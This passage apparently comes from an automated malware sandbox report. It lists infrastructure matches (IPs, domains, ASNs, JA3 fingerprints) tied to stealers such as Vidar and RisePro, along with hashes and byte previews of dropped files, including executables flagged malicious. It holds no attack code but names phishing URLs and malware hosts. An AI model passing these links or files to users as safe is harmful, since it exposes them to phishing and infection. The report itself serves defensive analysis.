	file.exe	Get hash	malicious	Vidar	Browse
	Set-up.exe	Get hash	malicious	Amadey, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Vidar	Browse
5.42.67.8	BY1Fwf74x3.exe	Get hash	malicious	RisePro Stealer, Vidar	Browse
	SecuriteInfo.com.Win64.Evo-gen.4435.12354.exe	Get hash	malicious	CryptOne, GCleaner, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	CHA0VZiz8y.exe	Get hash	malicious	CryptOne, Djvu, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, Vidar	Browse
	SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Get hash	malicious	CryptOne, Djvu, GCleaner, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine	Browse
	WaGiUWSpyO.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse
	BI6oo9z4In.exe	Get hash	malicious	CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer	Browse
	1n4J6tLgsc.exe	Get hash	malicious	RisePro Stealer	Browse
104.26.4.15	#Ud3ec#Ud2b8#Ud3f4#Ub9ac#Uc624.exe	Get hash	malicious	Nemty, Xmrig	Browse	api.db-ip.com/v2/free/102.129.152.212/countryName

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	auTs24fNru.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://otn.yfm.mybluehost.me/DEGER/	Get hash	malicious	HTMLPhisher	Browse	50.87.228.40
	http://click.promote.weebly.com/ls/click?upn=u001.j4J8mTsZ9n-2BXC3bkpEGuz50lGHlGvT3cLvbLRz27U7nbCy34PZfKldvZdQOxbYfQdpIO_ubnWW9PtOQz4ZIQW6byamRrJvV5j5QxMrQNeuvOlUwUwzU3n7afK0DT02-2Fh-2FEn9XQfE8APy5dcMY7okiMp6dn50YqTbWhwGv3QOuBDJ8By3TyASAIn3f2BeroENda7C-2Bh-2FrggWUDbq1OQU0iatMdz9T8bavQMqv-2FLL82Npkt-2FIYVNbpHq9Lcjy0FdNvuGsRZBL7ecWgydm46XJJa1wVRMTOXteK65K54Kr77vFfheTxVJYv2E8w-2B-2B1PVXj-2BtfuBn6giqM-2BrM-2FU61gbtNM1DlWLB5XHsVf7zrgHgzoU6kXBL4eU-2BkyxXXRasTbCCo1dj-2BUUHPOVM-2Fwx5w21DPnZBOlPgxyxHi4jDX1qhrEQ78CzgyGNwQZdsmAxFRaEEiJyZyTtySZibbaRCzWjvrWyDXH5YKeHfRMiRfJza-2BT3dvDBMLJnd2JeDwihpfsRj-2BRpKPerWH9cGrZtMGU7RwaTFiYJCYZjFzK8gYF3W6VV-2FJIhQ-3D#2298789727398466500609:53:58%20PM06/18/2024%2009:53:58%20PM9fjkqicho4gezabpl2us1nvy0tx58m3w	Get hash	malicious	HTMLPhisher	Browse	50.87.228.40
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Set-up.exe	Get hash	malicious	Amadey, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
ipinfo.io	WGEfBWbWQI.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	2bT2lTwRku.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	T17sbXrL3i.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	http://telegliam.icu/	Get hash	malicious	Unknown	Browse	34.117.186.192
	https://ingresar-365-msn.glitch.me/	Get hash	malicious	Unknown	Browse	34.117.186.192
	Jr7B1jZMaT.exe	Get hash	malicious	NovaSentinel	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	win6.exe	Get hash	malicious	Python Stealer, Discord Token Stealer	Browse	34.117.186.192
	4Ip0IVHqJ3.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
db-ip.com	WGEfBWbWQI.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	2bT2lTwRku.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	T17sbXrL3i.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	file.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	https://curious-kringle-id4964-024b3b3.netlify.app/form.html	Get hash	malicious	Unknown	Browse	104.26.5.15
	https://glist43-dase23-ac9ae33.netlify.app/dev.html/	Get hash	malicious	Unknown	Browse	104.26.5.15
	4Ip0IVHqJ3.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	eIbDy5M3wa.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	https://validate-infringement-ads.netlify.app/feedback_id_38258467296/	Get hash	malicious	Unknown	Browse	104.26.5.15

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	file.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	5.42.65.92
	AgHiy5gaGp.exe	Get hash	malicious	Amadey, PureLog Stealer	Browse	5.42.66.47
	zi38khdi7eunjazvoxwoud.exe	Get hash	malicious	Amadey	Browse	5.42.64.76
	file.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	5.42.65.92
	file.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	5.42.65.92
	SecuriteInfo.com.BackDoor.SpyBotNET.62.21177.12908.exe	Get hash	malicious	EICAR, PureLog Stealer, zgRAT	Browse	5.42.66.10
	file.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	5.42.65.63
	8pMvDWHvEg.exe	Get hash	malicious	DCRat	Browse	5.42.104.243
	BY1Fwf74x3.exe	Get hash	malicious	RisePro Stealer, Vidar	Browse	5.42.65.116
	a4e_powershell_script.ps1	Get hash	malicious	Amadey, Vidar	Browse	5.42.64.76
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	WGEfBWbWQI.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	2bT2lTwRku.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	T17sbXrL3i.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	http://h3200457.wixsite.com/my-site-1/	Get hash	malicious	Unknown	Browse	34.117.60.144
	http://telegliam.icu/	Get hash	malicious	Unknown	Browse	34.117.186.192
	https://riprogramma.consegna.3-76-125-238.cprapid.com/dpd/update.php	Get hash	malicious	Unknown	Browse	34.117.77.79
	http://3-76-125-238.cprapid.com/dpd/update.php	Get hash	malicious	Unknown	Browse	34.117.77.79
	https://ingresar-365-msn.glitch.me/	Get hash	malicious	Unknown	Browse	34.117.186.192
	http://underarmour.ca	Get hash	malicious	Unknown	Browse	34.117.202.77
	http://africa.thesmalladventureguide.com	Get hash	malicious	Unknown	Browse	34.117.188.166
ACPCA	auTs24fNru.exe	Get hash	malicious	Vidar	Browse	162.55.53.18
	98790ytt.exe	Get hash	malicious	FormBook	Browse	162.0.213.94
	http://3-76-125-238.cprapid.com/dpd/update.php	Get hash	malicious	Unknown	Browse	162.55.120.196
	Arrival Notice.bat.exe	Get hash	malicious	FormBook	Browse	162.0.213.94
	Arrival Notice.bat.exe	Get hash	malicious	FormBook	Browse	162.0.213.94
	Arrival Notice.bat.exe	Get hash	malicious	FormBook	Browse	162.0.213.94
	file.exe	Get hash	malicious	Vidar	Browse	162.55.53.18
	file.exe	Get hash	malicious	Vidar	Browse	162.55.53.18
	file.exe	Get hash	malicious	Vidar	Browse	162.55.53.18
	file.exe	Get hash	malicious	Vidar	Browse	162.55.53.18
CLOUDFLARENETUS	98790ytt.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	WGEfBWbWQI.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	Hardwicks PURCHASE ORDER .html	Get hash	malicious	Unknown	Browse	104.21.23.38
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.23906.18593.rtf	Get hash	malicious	FormBook	Browse	104.21.94.191
	2bT2lTwRku.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	https://zip.lu/3jFoo	Get hash	malicious	Unknown	Browse	1.1.1.1
	PO#101405.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	http://parrtnmal.click	Get hash	malicious	Unknown	Browse	172.67.208.204
	yF4L47gYLd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.22.205
	SALES CONTRACT (DRAFT).exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	WGEfBWbWQI.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192 104.26.4.15
	2bT2lTwRku.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192 104.26.4.15
	RobloxPlayerInstaller.exe	Get hash	malicious	LummaC	Browse	34.117.186.192 104.26.4.15
	T17sbXrL3i.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192 104.26.4.15
	http://voice-100740.weeblysite.com/	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
	fortnitewhv5.exe	Get hash	malicious	LummaC	Browse	34.117.186.192 104.26.4.15
	DyEmdWLfg4.exe	Get hash	malicious	LummaC	Browse	34.117.186.192 104.26.4.15
	f5tZjE2iHW.exe	Get hash	malicious	LummaC	Browse	34.117.186.192 104.26.4.15
	SecuriteInfo.com.Win32.Malware-gen.18181.11360.exe	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
	SecuriteInfo.com.Win32.Malware-gen.18181.11360.exe	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
37f463bf4616ecd445d4a1937da06e19	auTs24fNru.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	CFEMail2000394003900390302.pdf	Get hash	malicious	Unknown	Browse	149.154.167.99
	SecuriteInfo.com.Win32.Malware-gen.18063.26168.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://campaign-statistics.com/link_click/RqeqbFIupG_SarXt/c7754e02779513a9011493d63e2dacdc	Get hash	malicious	AsyncRAT	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	REQUEST FOR QUOTATION.vbs	Get hash	malicious	Unknown	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	SecuriteInfo.com.Trojan.Siggen19.3578.32465.8356.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	SecuriteInfo.com.Trojan.Siggen19.3578.32465.8356.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	SecuriteInfo.com.Trojan.Encoder.37681.30560.15421.exe	Get hash	malicious	Unknown	Browse	149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlt[1].dll	auTs24fNru.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	SecuriteInfo.com.Win64.Malware-gen.16465.8601.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\GIEHJKEBAAEB\CBGHCA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEHJKEBAAEB\DAKJDH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEHJKEBAAEB\DHIEHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	modified
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEHJKEBAAEB\GCBGII

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEHJKEBAAEB\GIEHJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEHJKEBAAEB\HCAEBF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEHJKEBAAEB\JJJECF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	449536
Entropy (8bit):	7.480206262710139
Encrypted:	false
SSDEEP:	6144:8gNhEV5pZ5BXmp4pEEEXI/ajDfJFb7uNmrkbBlpNezk3g7wZXlQkEDFGqymjv:8gjEV5pZ5hwTuNma8ow7glOsGjv
MD5:	B2F5D04FC1D63F47EC7CDC2B326B7E83
SHA1:	7BF70F68204B0D905D18B1F94D86088F16A15D1F
SHA-256:	B4ED59F2391034891FE8AF87450A34EACA1518B400182554E392845F0D21E7A1
SHA-512:	23AB37F544227A863C22AB4AAEB2A80986F5BD75E12A2A41F2CF4DDB0CBA0FCE20F7560DEE6E65CAD8F022A1CD616BAB2C59722213803D12B699151DC2CFAA3A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|]./]./]./....L./....../....K./.S..O./.S..H./....T./]./../.S..../.P..\./.P..\./Rich]./................PE..L.....rf...............'.....:...................@.......................................@..................................l..<....................................K...............................J..@...............@............................text...`........................... ..`.rdata..^...........................@..@.data...hd.......T...h..............@....reloc........... ..................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	538112
Entropy (8bit):	7.608880945287504
Encrypted:	false
SSDEEP:	12288:VExdRcut5khzisOG3eD8zN4mbANhSfmP5xbS8Ejv:VEKutkp3J/bWhTXbSv
MD5:	F7A5C03E582FC4A5034DA5FA422A0F6C
SHA1:	3425C4A4DBE5F82CA89BF9F3642132DBEE5DD30C
SHA-256:	C3A9AB0FBF5CBBEC8E2C28A168D8F0C485F6CFA9FDDD046C94F4704453EE85EE
SHA-512:	6B4B198910CAD2417AA8C2447D18260ABCD096218001F39FB855F02D27CC44A512BF3BEC04928467592A2651A6D82C9E8D8EAE81B6269133AA7BA3BAC749A09D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|]./]./]./....L./....../....K./.S..O./.S..H./....T./]./../.S..../.P..\./.P..\./Rich]./................PE..L...M.rf...............'.........................@..........................`............@..................................l..<............................@.......K...............................J..@...............@............................text...`........................... ..`.rdata..^...........................@..@.data................h..............@....reloc.......@... ..................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885184
Entropy (8bit):	7.946661021830625
Encrypted:	false
SSDEEP:	49152:HFsPqXkdAgMR5MihEfpi6gm+tiS/g076kCW:HuPvMvqfpngm+tiS/g07+
MD5:	9F7D8785AA5E359848EBE4D771F3DE8D
SHA1:	70161505853A4CB3B2DC7EB690BDE8B0F23B4D82
SHA-256:	9CF43D480F6319717934B1A3F97682A4454C1742E2409AA416BA719E606C34CA
SHA-512:	B26659C8E24BAF0B489198EB28AAFA4E29B5728432F522D22202FB5C3D288BD2E33AEC88FECA1D84B56D42F2DBB369EF517C37815F2C216BAE4722BD5DD7700E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|]./]./]./....L./....../....K./.S..O./.S..H./....T./]./../.S..../.P..\./.P..\./Rich]./................PE..L.....rf...............'....."....................@.......................................@..................................l..<....................................K...............................J..@...............@............................text...P........................... ..`.rdata..^...........................@..@.data....L.......<...h..............@....reloc........... ..................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_1kBeqS7E3z.exe_6ec5cfe9949d8da57d11bf95da3791cdf16_05087c15_ff9bef11-bc71-409a-9d6e-15af833ae2ff\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6672959156630904
Encrypted:	false
SSDEEP:	96:5OFaDIotGlObshhqPoQyDqPQXIDcQnc6XcEMcw3H+HbHg/opAnhZAX/d5FMT2SlG:cMrbnO0JT2QjRzuiFwZ24IO8nL
MD5:	73FC24A1B41B14266DCD08CB21E7086F
SHA1:	9D424348E5191366957C597D67EED23DAA4FD7DF
SHA-256:	60225158328884C6433082A1C0B44D61605BDAF9359F04EC9B69F35626DADF1B
SHA-512:	DF39E9A1F3DDE32289EE799664061E16666A482F422826009A41153693CB927CDE4EF5921ED65E557A74E75AADE10B6713965DE470BFC3045B38EE58C450F4DE
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.3.3.3.2.5.3.9.7.3.1.0.9.0.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.3.3.3.2.5.4.0.0.2.7.9.6.4.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.f.9.b.e.f.1.1.-.b.c.7.1.-.4.0.9.a.-.9.d.6.e.-.1.5.a.f.8.3.3.a.e.2.f.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.7.3.4.3.6.3.b.-.2.6.5.9.-.4.b.a.4.-.8.c.6.e.-.a.8.b.0.f.a.e.9.3.4.e.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.1.k.B.e.q.S.7.E.3.z...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.0.c.-.0.0.0.1.-.0.0.1.4.-.0.5.b.b.-.f.4.2.9.c.d.c.2.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.b.c.b.5.5.e.4.f.8.0.a.e.c.2.e.4.5.7.6.4.5.9.2.b.5.0.c.d.f.7.8.0.0.0.0.f.f.f.f.!.0.0.0.0.7.0.1.6.1.5.0.5.8.5.3.a.4.c.b.3.b.2.d.c.7.e.b.6.9.0.b.d.e.8.b.0.f.2.3.b.4.d.8.2.!.1.k.B.e.q.S.7.E.3.z...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_EWDN0G9BRDazVJea_18273ac3b527d71cc4e957c3b254761d2f402457_bb3902d5_c50b3160-8208-4cde-ad47-265dcd0fc0ab\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6937931924521659
Encrypted:	false
SSDEEP:	192:9hN1QdN90O6wPPNjRzuiFwZ24IO80z1U:R1QdN+O6wtjRzuiFwY4IO8y
MD5:	B74189C3ED56087BE0CB338483664527
SHA1:	A1623980768E55A21ABE158438319979BD27BFA8
SHA-256:	DE04D95517B4E05163F9D64C12AF6A734A3EDAF5D17503B2013E6CF2A95E6884
SHA-512:	F3D1E9858AA4B213534106FD36F3FDD200CE3DF864D141D2A02BD5A4DF3E6EB449BB0B3ADCD87ACFC6A9AAF56CFA5602D6B5F9A365BD5E61AD558FAA4134C96B
Malicious:	false
